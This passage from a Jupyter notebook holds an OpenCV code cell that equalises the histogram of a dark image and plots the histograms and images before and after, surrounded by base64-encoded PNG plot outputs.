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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - }, - { - "data": { - "text/plain": [ - "-1" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "import cv2 \n", - "import numpy as np\n", - "import matplotlib.pyplot as plt\n", - "\n", - "img = cv2.imread('darkImage.png', 0)\n", - "\n", - "hist1 = cv2.calcHist([img], [0], None, [256], [0,256])\n", - "\n", - "# Create new histogram after equalizer \n", - "\n", - "equalizedImage1 = cv2.equalizeHist(img);\n", - "\n", - "equalizedHist1 = cv2.calcHist([equalizedImage1], [0], None, [256], [0, 256]) \n", - "\n", - "#plotting\n", - "plt.subplot(221), plt.plot(hist1)\n", - "plt.subplot(222), plt.plot(equalizedHist1)\n", - "plt.subplot(223), plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n", - "plt.subplot(224), plt.imshow(cv2.cvtColor(equalizedImage1, cv2.COLOR_BGR2RGB))\n", - "\n", - "plt.show()\n", - "\n", - "# Showing image one image\n", - "result = np.hstack((img,equalizedImage1))\n", - "cv2.imshow('result', result)\n", - "\n", - "cv2.waitKey(0)" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "bedc54fc", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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